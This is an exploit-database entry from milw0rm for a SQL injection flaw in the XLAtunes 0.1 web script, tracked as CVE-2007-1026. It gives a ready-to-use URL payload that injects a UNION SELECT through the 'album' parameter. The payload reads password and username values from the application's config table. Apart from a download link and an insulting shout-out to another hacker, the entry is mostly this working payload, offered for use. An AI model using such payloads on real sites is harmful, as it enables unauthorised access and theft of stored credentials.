XLAtunes 0.1 - 'album' SQL Injection



EKU-ID: 11305 CVE: OSVDB-33743;CVE-2007-1026 OSVDB-ID:
Author: Bl0od3r Published: 2007-02-17 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


#Critical Status:High
#Found By:Bl0od3r
#Download:http://www.scriptdungeon.com/script.php?ScriptID=2844
#Greetz:all my friends
#fuckz:Don(h4cky0u) for steeling hacks of others,for his 100% noobility,for his noobass.DON your an idiot.fucka. -
#confkey->Password
#confvalue->Username
#Table:config
#http://host.com/path/?mode=view&album=-1%20UNION%20SELECT%20confkey%20FROM%20config/*

# milw0rm.com [2007-02-17]